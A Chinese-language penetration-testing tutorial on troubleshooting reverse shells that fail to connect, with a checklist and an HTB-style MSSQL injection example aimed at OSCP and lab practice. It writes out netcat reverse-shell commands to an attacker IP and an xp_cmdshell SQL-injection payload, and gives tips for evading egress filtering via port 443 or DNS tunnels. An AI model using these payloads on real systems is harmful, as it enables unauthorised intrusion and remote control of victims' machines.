Reverse Shell 怎麼回不來? 最完整的除錯解析

當你在一次滲透測試過程中，成功進行 RCE 或取得 Webshell 時，嘗試建一個 Reverse Shell 卻無法成功，你覺得可能是甚麼問題？

  • 它有防火牆阻擋？
  • 我這邊有防火牆？
  • 指令打錯？
  • 我忘了監聽？

還是有什麼你沒想到的？今天，這篇文章就要帶你一次搞懂 Reverse Shell 全部的除錯解析。

前言

這篇文章其實是我早該寫的，早在好幾年前就該寫的。
雖然很多文章好像都是這樣說的啦XD
但這篇真的不一樣！！！

想寫這篇文，是來自於當初剛打HTB時　在論壇上面一個人的留言提醒：

Ok – you might want to work on identifying why this is happening or at least more detail about what could be the problem. Simply having a shell fail to connect isn’t something people can really help with.

For example, there are countless reasons why this might be the case:

  • You’ve used the wrong payload
  • Your payload has a typo
  • Your payload hasn’t been put in the right place
  • Your payload isn’t being called properly
  • Your attack is hitting the wrong place
  • Your listener isn’t working
  • Your listener is expecting something other than what the payload is sending
  • You have a typo in the listener
  • Your firewall is blocking connections(etc – this could go on for days).

This is a hard box, so it does need some trial and error to get attacks working. You need to be comfortable working through what you are trying to do so you can understand where a problem might have occurred. (and remember,

if you are too open about what you are asking on the public forum it will get hit for a spoiler)

對我來說這個留言獲益非常的多，也讓我印象深刻。

決定有一天要將它詳細展開發布成文章。

本篇文章是屬於一個思路指引的類型，可以偏向 Knowledge 以及 Tutorial 的類型，不單單是一個Cheat sheet，不過是會提供一個簡單的 Check list 作為參照。

我相信了解文章當中的內容，是對於任何形式的滲透測試與紅隊演練都是有幫助的，獻給所有執行滲透測試、紅隊演練，還有準備 OSCP、CPENT、PNPT、TryHackMe、HTB 等等不同認證與練習平台的人，希望此文章能夠帶給你們幫助。

什麼是 Reverse Shell？

雖然本篇沒有要從頭開始說起，不過還是先來簡單白話解釋一下Reverse Shell。在滲透測試與紅隊演練的攻擊過程當中，攻擊者透過漏洞利用或攻擊的手法，例如 RCE、Injection、Webshell、惡意程式等的方式，來取得受害主機的 Shell，並將 Shell 連線回攻擊機，使攻擊者可以在攻擊者的本機操控受害主機。

  • 攻擊機（Attacker Machine）：通常指 Kali Linux 或其他滲透測試系統。
  • 目標主機（Target Machine）：可能是 Windows 或 Linux，被攻擊的受害機。

目標受害主機，或稱目標主機、受害機、可能是 Windows 或是 Linux。也因為通常攻擊機通常都會使用 Linux，不太會是使用 Windows 作為攻擊機，所以看到別人的筆記指令上面標註 Windows，一般指的就是在目標受害主機要執行的指令。

透過以下的一個範例，簡單說明 Reverse Shell 運作方式。

  1. 攻擊機開啟 Netcat 監聽
  2. 目標受害主機執行 Reverse Shell 連線回攻擊機
  3. 攻擊機成功取得 Shell 控制權

這邊也附上有指令的操作，透過簡單的 Demo，讓不瞭解的人可以更簡單的理解。

但這個範例我是以同一台的 Linux 作為範例，這樣大家可能也比較好自己練習。

假設我們已經攻陷目標主機，可以看到畫面左邊的是攻擊機的終端機，右邊的是目標受害主的終端機。這時候依循下列的步驟。

Step 1: 在攻擊機執行一個 Netcat 監聽

nc -lvnp 4444

Step 2: 在目標主機執行一個 netcat 發起連線回到攻擊機

## IP 192.168.101.133 是攻擊機的IP
nc -c sh 192.168.101.133 4444Code language: CSS (css)

Step 3: 攻擊機得到連線，成功取得一個 Reverse Shell。當我在得到 Shell 連線的 Linux 畫面上敲指令時，可以發現我的執行環境已經是目標主機的 Shell 了，所以我們會稱為取得 Reverse Shell。

上面由於是一個簡易的 Demo 好讓大家理解，所以會有一種脫褲子放屁的感覺，想說我直接在右邊畫面輸入指令不就好了。但實際上由於漏洞類型、權限提升以及維持存取控制，多種不同的因素情況，是可能無法像這邊簡易 Demo 這麼好康的，讓你直接有畫面登入可以敲指令，更多時候是需要靠其他方式來取得 Shell。

在滲透測試找到漏洞後，設法取得 Reverse Shell，並不算甚麼高深進階的技巧，在滲透測試跟紅隊演練的領域是個基礎。

其實我覺得內容也並沒太深入複雜的東西。但實務上，你會面臨到這個問題，表示已經是進入的要取得 Shell 的情況，實際上你可以達到這一個階段，已經是有一定的能力了，要對自己有點點信心。

而且滲透與紅隊本身在技術領域當中，其實就已經表示具有一定技術成熟度的認可，所以如果你已經是有能力了解與利用漏洞取得 Shell 的，感到驕傲吧。

Reverse Shell 回不來？完整除錯 Checklist

如同剛剛所說，取得 Reverse shell，並不算太進階的技巧，有時候其實就是照個網路上的指令敲敲打打，Shell 就回來了。但 Shell 接回來的方式根據漏洞類型與環境，會有許多的變化，對於不夠熟悉新手來說，可能經常會發生，Shell 回不來，但不知道為什麼的情況。

對於最入門的小白來說，當下可能就會認為「那應該就是漏洞不存在吧」。但實際上可能不然，如果沒有正確的觀念以及詳細的檢查，很可能就會錯過一個大好漏洞阿！這篇文章就是來詳細去解析給新手在使用 Reverse Shell 時需要注意的事項與觀念，還有可以如何除錯一些小方向。

這邊我們當然是以「漏洞確實存在」的前提下，來探討有哪些是造成Reverse shell失敗的原因。

Checklist

首先先來個快速檢查的checklist

  • 打錯字（Typo）
  • 使用了錯誤的 Payload（作業系統、架構、系統支援）
  • Payload 檔案放置的位置與是否成功
  • 攻擊的注入點錯誤
  • 監聽 IP 與 Port 設定錯誤（或根本沒監聽）
  • 監聽的工具未成功作用
  • 攻擊機與目標主機的防火牆阻擋了連線
  • 目標主機 NAT 網路問題
  • 目標主機的出站流量限制
  • msfvenom 生成的 Payload 與 handler 設定不匹配
  • 編碼/字符集問題（如 \\ vs /、引號使用錯誤）
  • 目標主機執行的指令或檔案不存在
  • 目標主機執行的指令或檔案權限不足
  • 嘗試使用不同的 Payload

其他比較進階的問題。例如防毒軟體偵測阻擋、安全防護設備、主機上的安全策略（SELinux/AppArmor）等，這些在一般的靶機練習通常比較不會出現，在企業網路環境，以及專門針對於繞過性質的技術認證則是可能會有，就不在這篇文章的討論範圍之內。

接下來我們就來逐項說明，也透過範例來逐項除錯解析。

打錯字（Typo）

看似最基本的一件事，卻是造成 Reverse Shell 失敗的最常見原因之一。不論是攻擊者在本地執行監聽指令時輸入錯誤，或是將 Payload 傳入目標主機時的複製貼上出了差錯，任何一個字母的差異都可能讓整個流程失敗。

例如我們習慣性地使用 nc -lvnp 4444 來啟動 Netcat 監聽，但若不小心輸入為 nc -lvmp 4444，多了一個 m，Netcat 並不會如預期運作，會直接拋出錯誤訊息，這種錯誤還可以輕易發現；然後更難察覺的是，若錯誤出現在 Payload 內容中，例如一個 Shell Script 裡的路徑拼錯、某個參數大小寫不正確，這些往往不會有錯誤訊息顯示，反而讓攻擊者誤以為漏洞不存在。

在滲透實務中，這類 Typo 問題會在兩種情況下最常見：一是手動輸入 payload，二是從網路上複製別人的 Payload 指令發生格式或編碼等錯誤。尤其是複製貼上時，某些特殊符號會被瀏覽器或終端機處理過，導致在目標主機上執行時失敗。例如雙引號在複製時被轉換為全形格式，或是換行被中斷。建議每次在將 Payload 寫入目標時，都先在本地端仔細檢查其內容是否完整無誤。

使用了錯誤的 Payload（作業系統、架構、系統支援）

Reverse Shell 的 payload 選擇與目標主機的作業系統和硬體架構息息相關。舉個簡單的例子，如果你使用了 linux/x86/shell_reverse_tcp 這個 payload，卻打算拿去執行在一台 64-bit 的 Windows Server 上，那麼無論漏洞是否真實存在，payload 執行都只會以失敗收場。這一點在使用 msfvenom 這類工具生成 Payload 時尤其需要注意，因為不同系統對執行檔案格式、架構的支援都不一樣。

以 Windows 系統為例，大多數現代系統都是 x64 架構，因此 payload 應該選用 windows/x64/meterpreter/reverse_tcp；Linux 亦然，若是目標機是 ARM 架構的嵌入式裝置（如路由器、IoT裝置），則應改用 linux/armle/shell_reverse_tcp 等對應架構的 Payload。

如果是使用網路上其他工具或 Exploit，則也是要注意所針對的作業系統與架構支援，是不是跟目標系統匹配。有滿多工具都會 linux_386、linux_arm64、linux_amd64、darwin_amd64、darwin_arm64等等多種不同選擇，要留意沒有使用到錯誤的版本。

此外，即使作業系統與架構匹配，也要考慮 payload 所需的相依工具是否存在於目標主機中，例如有些 Payload 使用 python、bash、perl 等語言執行，但若該語言執行環境在目標主機中根本不存在，就不會產生連線效果。這就是為什麼常有人會準備多種語言版本的 Payload，以便在現場可以根據情況快速替換嘗試。

Payload 檔案放置的位置與是否成功

確保 Payload 在你執行時是放在了正確的位置並且有適當的權限。這邊指的 Payload 其實更著墨在於檔案或是程式位置，因為下一項才會講到注入點。

當你已經準備好一個 Reverse shell 執行檔，並透過漏洞上傳到目標主機後，還要考慮的是它被放在了哪個目錄中。這裡會涉及到幾個層面的檢查：首先是路徑是否存在、檔案是否真的寫入成功，其次是該路徑是否允許執行，最後是目標主機的使用者是否有權限執行該檔案。

例如在 Linux 系統中，許多攻擊者喜歡將 payload 放在 /tmp/ 目錄，因為該目錄通常對所有使用者開放寫入權限（但不表示一定成功唷）。

在 Windows 系統中，如果將 Shell 執行檔放在了某些系統目錄（如 C:\\Windows\\System32）下，可能會因為權限不足無法被啟動。而像是 C:\\Users\\Public\\ 就是一個不錯的選擇，因為通常會對大部分使用者開放讀寫權限。放錯位置的 Payload 即使在遠端漏洞中被成功觸發，也可能因為執行失敗而讓你誤判漏洞不存在。

攻擊的注入點錯誤

在許多漏洞利用的場景中，Reverse Shell 指令往往需要透過某個特定的注入點傳入並執行，例如在 Web 應用中可能是某個表單輸入欄位、某個 API 參數，或是在 Injection 的漏洞中，是某段內嵌的 Shell 呼叫。當 Shell 回不來時，我們很容易把焦點集中在 Payload 或網路環境問題，但實際上也許真正的問題是：你根本沒有打中正確注入點！

這種情況尤其常發生在使用網路上已知的一些漏洞或 CVE 的公開 exploit 腳本，由於不同的環境大家注入點可能有所差異，所以注入點的路徑或參數可能有所不同，自己要能夠觀察。這個也是技術類型考試常遇到的內容之一，在前一篇的 Exploit除錯之術也有提到。

解決這類問題的方法，是先確認注入點「真的會執行你所輸入的內容」，最好的方式就是測試一些無害但有觀察回應效果的命令，例如 ping -c 1 attacker.com 或 whoami，透過回應或 DNS log 或HTTP log 來確定指令有被呼叫。只有當你確認指令真的有成功執行，才值得進一步嘗試 Reverse Shell 類型的 Payload。

監聽 IP 與 Port 設定錯誤（或根本沒監聽）

都要彈回 Reverse Shell，確保自己本機是有監聽的，是理所當然。

Reverse Shell 的成功與否，往往取決於連線能否正確打回攻擊端。這表示你在攻擊端必須正確設定「監聽的 IP 與 Port」。一個常見的新手錯誤，是將 LHOST（Local Host）設成設定成錯誤的介面 IP。

在 Metasploit 中，若你的攻擊端同時有多張網卡或多個 IP，需要特別注意選擇正確的 LHOST，否則可能會監聽在錯誤的介面上。也建議在每次設定好 handler 或 Netcat 後，透過 netstat -tunlp 或 ss -ltnp 確認監聽的 IP 與 Port 是否與 Payload 一致。

監聽的工具未成功啟動

即使你的命令輸入正確，監聽工具也可能因為系統環境或權限問題沒有成功啟動。舉例來說，在 Linux 上以非 root 權限啟動監聽，如果你選擇的 Port 號小於 1024（如 21、80、443），就會因為權限不足而失敗。這種情況下，Netcat 可能會直接報錯退出，Metasploit 的 handler 也可能靜悄悄地不運作。

因此，當懷疑監聽端有問題時，最直接的檢查方法就是自己連線過去測試。例如使用 telnet 或 nc ，確認監聽端是否真的有在接收連線。或者同樣也能使用 netstat來確認一下監聽的狀態，這樣能快速排除「工具沒有啟動成功」的疑慮。

攻擊機與目標主機的防火牆阻擋了連線

防火牆是造成 Reverse Shell 無法建立的常見阻礙之一。這可能發生在攻擊端、目標端，以及兩者之間的網路設備上。

沒錯~ 除了大家熟知的網通設備防火牆，在 Windows 與 Linux 上也能有軟體防火牆，或是目標在雲端上也會有雲端的防火牆 / Security Group 的設定。連線可能是各種層級的火牆的阻擋導致。

在攻擊端，如果你監聽的 Port 被本地防火牆（例如 Linux 的 iptables、ufw 或 Windows Defender 防火牆）封鎖，目標機即使嘗試連回也會被丟棄。這種情況下，你可以暫時停用防火牆，或明確開放該 Port 的 inbound 規則來測試。

在目標端，情況更為常見。許多企業環境或雲端主機上，都會預設封鎖 outbound 流量，尤其是高風險的端口（如 4444、1337 等常用駭客端口）。如果你的 Payload 碰巧設定在這些被封鎖的端口，目標機雖然執行了指令，但 TCP 連線永遠無法建立。

這時候的解法，是嘗試改用常見且不易被封鎖的端口，例如 80（HTTP）或 443（HTTPS），以偽裝成正常的 Web 流量。同時也能嘗試將 Reverse Shell Payload 改為 webshell 轉連線或 DNS 隧道等方式，以繞過這層防禦。

關於 outbound 流量的確認方式，也可以參考我另一篇文章「透過 Egress Busting 來測試防火牆的對外連線規則」

目標主機 NAT 網路問題

大家平常在網路靶機練習平台，練習滲透測試可能太習慣，都忘記你們在練習時其實都是使用 VPN 連線到目標靶機喔。也因為 VPN 之後，都屬於同一個內網，你才能輕鬆接回 Reverse Shell。

在實務上，可能會遇到你在客戶端內網，但是使用虛擬機Kali Linux 做 NAT 的情況；或是目標位於網際網路（Internet）上，攻擊機沒有 Public IP 可以接收返回連線的情況。

舉例來說：攻擊者在家用網路或公司內網中監聽，但自己的 IP 是 192.168.x.x 或 10.x.x.x 這類私有位址。如果你直接把這個 IP 當作 LHOST，目標機自然無法從外網打回來。像這種情況，一種解決辦法是使用具有公網 IP 的 VPS，或透過 VPN、Cloudflare Tunnel、Ngrok 等方式建立一個可被存取的中繼通道。

另外也提一個虛擬機 NAT 問題，可以參考下面的示意圖。如果目標主機跟你的宿主機同一個網路，但你的攻擊機使用的是 NAT 設定的虛擬機 Kali Linux，它可能無法直接連到你的攻擊機。這時候就需要透過 Port Forwarding 來達成。

（備註：可能有人會想說那我改 Bridge 不就好了嗎？其實改 Bridge 當然是一種方式，但更重要的是讓大家理解觀念，以及也必須要知道不能改 Bridge 的情況下你要怎麼達成任務。）

目標主機的出站流量限制

這邊與前面提到的防火牆基本上大同小異，但只是想更強調在於目標 outbound 的限制。

目標主機可能有對 outbound 來做限制。

  • 公司環境可能封鎖高危險連接埠，如 4444。
  • 可以改用 80 或 443 來偽裝成 Web 流量。

許多企業環境會對「出站流量」進行嚴格限制，這會直接影響 Reverse Shell 的建立。即使你的 Payload 與監聽設定完全正確，如果目標主機被限制只能對外連線特定 Port（例如只允許 80 與 443），那麼任何其他端口的 Reverse Shell 嘗試都會失敗。

這也是為什麼在實務滲透測試中，我們經常會把 Reverse Shell Payload 的連線端口設為 443，因為 HTTPS 流量通常不會被封鎖，甚至還能利用加密通道偽裝。更進階的繞過方式，則是改用 DNS 隧道（DNS tunneling）或 ICMP 隧道。

msfvenom 生成的 Payload 與 handler 設定不匹配

msfvenom 入門常犯的錯誤：

  • LHOST 或 LPORT 設定錯誤。
  • staged 與 stageless Payload 不匹配。
  • 攻擊的Payload 跟 監聽的handler使用的不匹配

在使用 Metasploit 的 msfvenom 生成 Payload 時，新手最常犯的錯誤之一，就是生成的 payload 和後端接收的 handler 設定不一致。這會導致 Reverse Shell 無法建立，即使漏洞已經確定存在。

最常見的問題有幾種：

  1. LHOST 與 LPORT 不一致（前面提過） 假設你用 msfvenom 生成的 Payload 設定 LPORT=4444，但在 Metasploit 中 exploit/multi/handler 卻啟動在 5555，這樣自然無法連線成功。
  2. Staged 與 Stageless Payload 混用 Metasploit 有所謂「staged」與「stageless」payload。Staged Payload（如 windows/meterpreter/reverse_tcp）會先送一小段 stub，再回傳更多的 Meterpreter 模組；而 Stageless Payload（如 windows/meterpreter_reverse_tcp）則一次包含完整功能。如果你生成的是 staged payload，卻用 stageless 的 handler 監聽（或反之），就會出現完全沒反應的情況。
  3. Payload 類型不一致（前面也提過 XD） 例如你生成的 payload 是 linux/x64/shell_reverse_tcp，但 handler 設定卻是 windows/x64/meterpreter/reverse_tcp，這樣即使連線打回來，Metasploit 也無法理解或解析，最終會斷線。

因此，建議每次在使用 msfvenom 生成 payload 時，將參數記錄下來，並確認 Metasploit handler 的設定完全相同，尤其是 payload 類型、LHOST、LPORT 是否一致。

編碼/字符集問題（如 \\ vs /、引號使用錯誤）

字符編碼與格式問題，是一個容易忽略的細節。特別是在跨平台、跨語言的情境下，這類小錯誤難以被發覺，但足以導致 Reverse Shell 完全失敗。

常見情境包括：

  • Windows 與 Linux 的路徑差異 在 Windows 上，路徑通常是 C:\\temp\\shell.exe；而在 Linux 上，則必須是 /tmp/shell.elf。如果不小心用錯斜線，系統可能會直接找不到檔案。
  • 轉義字元錯誤 在某些 Payload 中，必須進行字元轉義或跳脫。例如想輸入\\，可能需要使用 \\\\，在前面加上一個跳脫處理才能正確表達\\。
  • 引號錯誤 這是最常見的新手陷阱。例如複製內容時引號被轉換成全形或特殊符號（例如 “ ”）。還有單引號跟雙引號在許多語言中有不同特性，例如是否要當成字串處理或是要解析內容的變數。

目標主機執行的指令或檔案不存在

有些 Reverse Shell Payload 會依賴目標機上的內建工具，例如：

  • nc（netcat）
  • python
  • perl
  • bash

如果這些工具在目標主機上不存在，payload 當然無法成功。

解決方式可能建議先測試目標主機上該指令或工具是否存在或已安裝；若工具不存在，可以改用其他語言 payload，例如從 Python 改成 Bash。

習慣上，也會在有 RCE可以傳送檔案或是有上傳檔案的漏洞時，手動傳一個靜態編譯好的 nc 或 socat，以確保能執行。這也是為什麼許多紅隊人員與滲透測試者都會隨身攜帶一份「工具二進位檔集合」，以備在受害端環境缺乏工具時能快速丟上去使用。

目標主機執行的指令或檔案權限不足

前面提到了指令跟檔案是否存在，但即便 payload 與工具存在，也不代表一定能成功執行。另一個常見問題是「權限不足」。

舉例來說：

  • 在 Linux 上，如果檔案缺少執行權限（chmod +x shell.elf 沒有設定），即使檔案存在也無法啟動。
  • 在 Windows 上，如果使用者帳號沒有權限執行該程式或進入特定資料夾，shell 也會失敗。
  • 某些環境下，安全策略（如 Linux 的 SELinux 或 AppArmor）會直接阻擋不明執行檔的啟動。

建議在測試時，先執行一些無害指令，例如 whoami 或 id，確認目標帳號的權限，再來決定該如何執行 Payload。如果權限不足，可能需要尋找提權漏洞，或是改將 payload 放在權限較寬鬆的目錄（例如 /tmp/ 或 C:\\Users\\Public\\）。

使用不同的 Payload

有時沒辦法成功，就換一個吧。

最後，即使你已經檢查過上述所有細節，Reverse Shell 依然可能無法回來。在這種情況下，最有效的解決方式之一，就是直接嘗試不同的 payload。

Reverse Shell 的變化非常多：

  • 不同語言版本：Bash、Python、Perl、PHP、PowerShell 各有不同的 payload。
  • 不同通訊方式：TCP、HTTP、HTTPS、DNS、ICMP 隧道。
  • 不同型態：Reverse shell、Bind shell、Webshell。

舉例來說，有些環境會阻擋 TCP 4444 端口，但允許 443 的 HTTPS 流量，這時候就能改用 meterpreter/reverse_https；或者當 outbound 完全被限制時，可以透過 webshell 上傳指令，再以 HTTP-based shell 建立控制通道。

這也是為什麼在實務滲透中，攻擊者往往不會只帶單一 payload，而是準備多種選項，現場快速嘗試不同組合。像 Reverse Shell Generator (revshells.com) 這類工具，能快速產生多種格式的 payload，方便切換測試。

這一項原因有可能是源自於上面的其他因素，也有可能是其他原因。我自己來說，有時候我也沒深入去了解太多的區別，總之多了解幾個 Payload 總是好事情。而且最終目的可以達成才是重點。

Bind Shell：另一種選擇

如果 Reverse Shell 無法成功連線，另一種可行的方式是 Bind Shell。

有時候 Reverse Shell 怎麼測都不成功，無論是因為防火牆阻擋出站連線，還是目標端的網路限制太多，攻擊者端始終收不到回連。這種情況下，可以考慮改用 Bind Shell。與 Reverse Shell 相反，Bind Shell 是讓目標主機主動在某個埠口上開一個服務，等待攻擊者來連線。雖然這種方式會暴露出一個開放埠口，較容易被偵測，也可能被防火牆的入站規則阻擋，但在某些內網環境或無法建立回連的場合，Bind Shell 反而比 Reverse Shell 更可行。測試者可以先嘗試 Reverse，如果屢次失敗，不妨調整思路，用 Bind Shell 來確認是否真的是出站連線被限制所致。

Reverse Shell 與 Bind Shell 的差異

類型連線方向主要限制
Reverse Shell受害主機 -> 攻擊機受害主機可能受防火牆限制，無法發出連線
Bind Shell攻擊機 -> 受害主機受害主機需要開放端口，可能會被防火牆阻擋

範例解析：Windows MSSQL SQL Injection Payload 問題

可以參考這題靶機：https://snowscan.io/htb-writeup-querier/#

這是當時在準備 OSCP 的朋友問我的一個問題，他問的其實是別的題目，但是內容有個87%像，由於在 Reverse Shell 的核心問題部分其實一樣的，所以我用這個來舉例一下，我覺得可以一次很好的釐清許多觀念。

首先他給了我們一個他使用的 Payload，長得如下，問我沒有接到 Shell 回來，為什麼？

大家可以看看然後想一下。

parameter=test'; EXEC xp_cmdshell 'nc.exe 192.168.45.224 4444 -e sh';
Code language: PHP (php)

這是一個常見的 MSSQL SQL Injection Payload，目標是透過 xp_cmdshell 來啟動 Netcat 連回攻擊機。

我們就來簡單分析這個 Payload 的幾個常見錯誤點。

問題1：目標主機有沒有 nc.exe ？

  • 確保目標主機存在 nc.exe，並且存放於可執行的目錄（如 C:\\temp\\nc64.exe）。

這個地方其實有好幾個點可以關注。首先我注意到的是他取回 Shell 的指令利用的是 nc 這個工具，而且我看他也沒有指定 nc 的路徑。

所以第一個問題，我先問了他目標主機上面有沒有 nc 這個檔案？而且因為沒有帶上路徑，所以執行上會以當前的路徑去執行 nc，所以你除了要確定路徑上有 nc 這個檔案，並且你也要有權限可以執行。當然他的回答是沒有 XD

所以第一個可能是要先下載 Netcat 過去，也建議用檔名區分支援平台，例如目標系統可能需要下載nc64.exe。下載方式很多種，通常可以 RCE 就用 Certutil 或 Curl 就好，也可以參考我的檔案傳輸的文章。然後也分享一個保守作法，是下載與執行時都使用絕對路徑。

問題2：無效的 sh

  • Windows 預設沒有 sh，需要改為 cmd.exe：

在返回 Reverse Shell 時，要知道我們要取回的 Shell 是甚麼？

Shell 其實是一種抽象的概念，具體 CLI 的 Shell 實作，會是例如 bash、sh、zsh、cmd、powershell等等。而在 Windows 當中，預設並沒有 sh，所以在以上的 Payload 當中，我們不會得到成功的Reverse Shell，必須要使用 cmd.exe 才可以成功。

問題3：路徑的解析

這是第一個問題之後的延伸，如果加上路徑之後，你使用了 c:\\windows\\temp\\nc64.exe

實際上也會發生問題，這是為什麼呢？

在 Windows 系統中，檔案路徑必須使用 \\，而 SQL 語法中 \\ 需要額外轉義，所以必須使用 \\\\。

所以如果想要寫入**nc64.exe**，路徑要使用c:\\\\windows\\\\temp\\\\nc64.exe

也留意，如果你使用方式錯誤的斜線/，在 Windows 當中是無效的。

所以反覆除錯之後，成功的 Payload 可能會如下：

parameter=test'; EXEC xp_cmdshell 'c:\\\\windows\\\\temp\\\\nc64.exe 192.168.45.224 4444 -e cmd.exe';
Code language: PHP (php)

小結

Reverse Shell 無法成功，有時並不代表測試結束或技術不到位，更多時候只是細節被忽略或環境條件限制所致。

從基礎的網路連線、防火牆、Payload 與 Handler 的搭配，到目標端權限與路徑問題，再到必要時轉向使用 Bind Shell，其實都是除錯過程中應該掌握的思路。

對滲透測試者而言，遇到失敗並不可怕，重要的是能冷靜地拆解問題，逐一驗證，最後找到能穩定建立連線的方法。因為真正的價值，不在於一次就成功，而是在失敗中累積經驗，讓之後的每一次操作更成熟、更可靠。

Tags: , ,

發佈留言